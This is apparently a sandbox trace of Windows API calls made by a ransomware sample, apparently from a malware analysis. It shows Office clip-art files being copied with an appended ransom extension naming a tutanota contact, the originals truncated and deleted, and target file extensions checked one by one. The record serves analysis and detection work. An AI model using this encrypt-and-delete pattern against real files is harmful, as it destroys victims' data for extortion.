	[0275.726] GetLastError () returned 0x0
	[0275.726] ReadFile (in: hFile=0x220, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x1338, lpOverlapped=0x0) returned 1
	[0275.727] WriteFile (in: hFile=0x334, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0x1340, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0x1340, lpOverlapped=0x0) returned 1
	[0275.728] ReadFile (in: hFile=0x220, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x0, lpOverlapped=0x0) returned 1
	[0275.728] WriteFile (in: hFile=0x334, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0275.728] SetEndOfFile (hFile=0x334) returned 1
	[0275.728] CloseHandle (hObject=0x334) returned 1
	[0275.728] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0275.728] SetEndOfFile (hFile=0x220) returned 1
	[0275.730] CloseHandle (hObject=0x220) returned 1
	[0275.730] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107450.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0275.731] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107450.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107450.wmf")) returned 1
	[0275.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107450.WMF") returned 63
	[0275.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107450.WMF") returned 63
	[0275.731] lstrlenW (lpString=".doc") returned 4
	[0275.731] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0275.731] lstrlenW (lpString=".docx") returned 5
	[0275.731] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0275.731] lstrlenW (lpString=".pdf") returned 4
	[0275.731] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0275.731] lstrlenW (lpString=".xls") returned 4
	[0275.731] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0275.731] lstrlenW (lpString=".xlsx") returned 5
	[0275.731] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0275.731] lstrlenW (lpString=".ppt") returned 4
	[0275.731] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0275.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107450.WMF") returned 63
	[0275.731] lstrlenW (lpString=".zip") returned 4
	[0275.731] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0275.731] lstrlenW (lpString=".rar") returned 4
	[0275.732] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0275.732] lstrlenW (lpString=".bz2") returned 4
	[0275.732] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0275.732] lstrlenW (lpString=".7z") returned 3
	[0275.732] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0275.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107450.WMF") returned 63
	[0275.732] lstrlenW (lpString=".dbf") returned 4
	[0275.732] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0275.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107450.WMF") returned 63
	[0275.732] lstrlenW (lpString=".1cd") returned 4
	[0275.732] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0275.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107450.WMF") returned 63
	[0275.732] lstrlenW (lpString=".jpg") returned 4
	[0275.732] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0275.732] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0275.733] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0275.733] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107500.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107500.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0275.733] GetLastError () returned 0x0
	[0275.733] ReadFile (in: hFile=0x220, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x1068, lpOverlapped=0x0) returned 1
	[0275.734] WriteFile (in: hFile=0x334, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0x1070, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0x1070, lpOverlapped=0x0) returned 1
	[0275.735] ReadFile (in: hFile=0x220, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x0, lpOverlapped=0x0) returned 1
	[0275.735] WriteFile (in: hFile=0x334, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0275.735] SetEndOfFile (hFile=0x334) returned 1
	[0275.735] CloseHandle (hObject=0x334) returned 1
	[0275.735] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0275.735] SetEndOfFile (hFile=0x220) returned 1
	[0275.737] CloseHandle (hObject=0x220) returned 1
	[0275.737] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107500.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0275.738] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107500.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107500.wmf")) returned 1
	[0275.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107500.WMF") returned 63
	[0275.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107500.WMF") returned 63
	[0275.738] lstrlenW (lpString=".doc") returned 4
	[0275.738] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0275.738] lstrlenW (lpString=".docx") returned 5
	[0275.738] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0275.738] lstrlenW (lpString=".pdf") returned 4
	[0275.738] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0275.738] lstrlenW (lpString=".xls") returned 4
	[0275.738] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0275.738] lstrlenW (lpString=".xlsx") returned 5
	[0275.738] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0275.738] lstrlenW (lpString=".ppt") returned 4
	[0275.738] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0275.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107500.WMF") returned 63
	[0275.738] lstrlenW (lpString=".zip") returned 4
	[0275.738] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0275.738] lstrlenW (lpString=".rar") returned 4
	[0275.738] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0275.738] lstrlenW (lpString=".bz2") returned 4
	[0275.738] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0275.738] lstrlenW (lpString=".7z") returned 3
	[0275.738] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0275.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107500.WMF") returned 63
	[0275.739] lstrlenW (lpString=".dbf") returned 4
	[0275.739] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0275.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107500.WMF") returned 63
	[0275.739] lstrlenW (lpString=".1cd") returned 4
	[0275.739] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0275.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107500.WMF") returned 63
	[0275.739] lstrlenW (lpString=".jpg") returned 4
	[0275.739] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0275.739] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0275.739] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0275.739] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107502.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107502.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0275.740] GetLastError () returned 0x0
	[0275.740] ReadFile (in: hFile=0x220, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x2a54, lpOverlapped=0x0) returned 1
	[0275.741] WriteFile (in: hFile=0x334, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0x2a60, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0x2a60, lpOverlapped=0x0) returned 1
	[0275.742] ReadFile (in: hFile=0x220, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x0, lpOverlapped=0x0) returned 1
	[0275.742] WriteFile (in: hFile=0x334, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0275.742] SetEndOfFile (hFile=0x334) returned 1
	[0275.743] CloseHandle (hObject=0x334) returned 1
	[0275.743] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0275.743] SetEndOfFile (hFile=0x220) returned 1
	[0275.745] CloseHandle (hObject=0x220) returned 1
	[0275.745] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107502.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0275.745] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107502.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107502.wmf")) returned 1
	[0275.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107502.WMF") returned 63
	[0275.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107502.WMF") returned 63
	[0275.965] lstrlenW (lpString=".doc") returned 4
	[0275.965] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0275.972] lstrlenW (lpString=".docx") returned 5
	[0275.977] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0275.978] lstrlenW (lpString=".pdf") returned 4
	[0275.978] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0275.978] lstrlenW (lpString=".xls") returned 4
	[0275.978] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0275.978] lstrlenW (lpString=".xlsx") returned 5
	[0275.978] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0275.978] lstrlenW (lpString=".ppt") returned 4
	[0275.978] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0275.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107502.WMF") returned 63
	[0275.978] lstrlenW (lpString=".zip") returned 4
	[0275.978] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0275.978] lstrlenW (lpString=".rar") returned 4
	[0275.978] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0275.978] lstrlenW (lpString=".bz2") returned 4
	[0275.978] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0275.978] lstrlenW (lpString=".7z") returned 3
	[0275.978] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0275.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107502.WMF") returned 63
	[0275.978] lstrlenW (lpString=".dbf") returned 4
	[0275.978] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0275.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107502.WMF") returned 63
	[0275.978] lstrlenW (lpString=".1cd") returned 4
	[0275.978] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0275.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107502.WMF") returned 63
	[0275.978] lstrlenW (lpString=".jpg") returned 4
	[0275.979] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0276.825] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0276.825] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0276.825] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107734.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107734.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x274
	[0276.825] GetLastError () returned 0x0
	[0276.825] ReadFile (in: hFile=0x35c, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0xc44, lpOverlapped=0x0) returned 1
	[0276.827] WriteFile (in: hFile=0x274, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0xc50, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0xc50, lpOverlapped=0x0) returned 1
	[0276.827] ReadFile (in: hFile=0x35c, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x0, lpOverlapped=0x0) returned 1
	[0276.827] WriteFile (in: hFile=0x274, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0276.827] SetEndOfFile (hFile=0x274) returned 1
	[0276.828] CloseHandle (hObject=0x274) returned 1
	[0276.828] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0276.828] SetEndOfFile (hFile=0x35c) returned 1
	[0276.829] CloseHandle (hObject=0x35c) returned 1
	[0276.829] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107734.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0276.830] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107734.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107734.wmf")) returned 1
	[0276.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107734.WMF") returned 63
	[0276.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107734.WMF") returned 63
	[0276.830] lstrlenW (lpString=".doc") returned 4
	[0276.830] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0276.830] lstrlenW (lpString=".docx") returned 5
	[0276.830] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0276.830] lstrlenW (lpString=".pdf") returned 4
	[0276.830] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0276.830] lstrlenW (lpString=".xls") returned 4
	[0276.830] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0276.830] lstrlenW (lpString=".xlsx") returned 5
	[0276.830] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0276.830] lstrlenW (lpString=".ppt") returned 4
	[0276.830] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0276.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107734.WMF") returned 63
	[0276.830] lstrlenW (lpString=".zip") returned 4
	[0276.830] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0276.830] lstrlenW (lpString=".rar") returned 4
	[0276.830] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0276.830] lstrlenW (lpString=".bz2") returned 4
	[0276.830] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0276.831] lstrlenW (lpString=".7z") returned 3
	[0276.831] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0276.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107734.WMF") returned 63
	[0276.831] lstrlenW (lpString=".dbf") returned 4
	[0276.831] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0276.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107734.WMF") returned 63
	[0276.831] lstrlenW (lpString=".1cd") returned 4
	[0276.831] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0276.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107734.WMF") returned 63
	[0276.831] lstrlenW (lpString=".jpg") returned 4
	[0276.831] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0276.831] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0276.831] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0276.832] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107746.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107746.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x274
	[0276.832] GetLastError () returned 0x0
	[0276.832] ReadFile (in: hFile=0x35c, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x12b4, lpOverlapped=0x0) returned 1
	[0276.833] WriteFile (in: hFile=0x274, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0x12c0, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0x12c0, lpOverlapped=0x0) returned 1
	[0276.834] ReadFile (in: hFile=0x35c, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x0, lpOverlapped=0x0) returned 1
	[0276.834] WriteFile (in: hFile=0x274, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0276.834] SetEndOfFile (hFile=0x274) returned 1
	[0276.834] CloseHandle (hObject=0x274) returned 1
	[0276.834] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0276.834] SetEndOfFile (hFile=0x35c) returned 1
	[0276.836] CloseHandle (hObject=0x35c) returned 1
	[0276.836] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107746.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0276.837] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107746.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107746.wmf")) returned 1
	[0276.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107746.WMF") returned 63
	[0276.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107746.WMF") returned 63
	[0276.837] lstrlenW (lpString=".doc") returned 4
	[0276.837] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0276.837] lstrlenW (lpString=".docx") returned 5
	[0276.837] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0276.837] lstrlenW (lpString=".pdf") returned 4
	[0276.837] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0276.837] lstrlenW (lpString=".xls") returned 4
	[0276.837] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0276.838] lstrlenW (lpString=".xlsx") returned 5
	[0276.838] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0276.838] lstrlenW (lpString=".ppt") returned 4
	[0276.838] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0276.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107746.WMF") returned 63
	[0276.838] lstrlenW (lpString=".zip") returned 4
	[0276.838] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0276.838] lstrlenW (lpString=".rar") returned 4
	[0276.838] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0276.838] lstrlenW (lpString=".bz2") returned 4
	[0276.838] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0276.838] lstrlenW (lpString=".7z") returned 3
	[0276.838] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0276.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107746.WMF") returned 63
	[0276.838] lstrlenW (lpString=".dbf") returned 4
	[0276.838] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0276.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107746.WMF") returned 63
	[0276.838] lstrlenW (lpString=".1cd") returned 4
	[0276.838] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0276.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107746.WMF") returned 63
	[0276.839] lstrlenW (lpString=".jpg") returned 4
	[0276.839] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0276.840] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0276.840] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0276.840] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107748.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107748.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x274
	[0276.840] GetLastError () returned 0x0
	[0276.840] ReadFile (in: hFile=0x35c, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x2020, lpOverlapped=0x0) returned 1
	[0276.842] WriteFile (in: hFile=0x274, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0x2030, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0x2030, lpOverlapped=0x0) returned 1
	[0276.843] ReadFile (in: hFile=0x35c, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x0, lpOverlapped=0x0) returned 1
	[0276.843] WriteFile (in: hFile=0x274, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0276.843] SetEndOfFile (hFile=0x274) returned 1
	[0276.843] CloseHandle (hObject=0x274) returned 1
	[0276.843] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0276.843] SetEndOfFile (hFile=0x35c) returned 1
	[0276.845] CloseHandle (hObject=0x35c) returned 1
	[0276.845] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107748.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0276.845] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107748.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107748.wmf")) returned 1
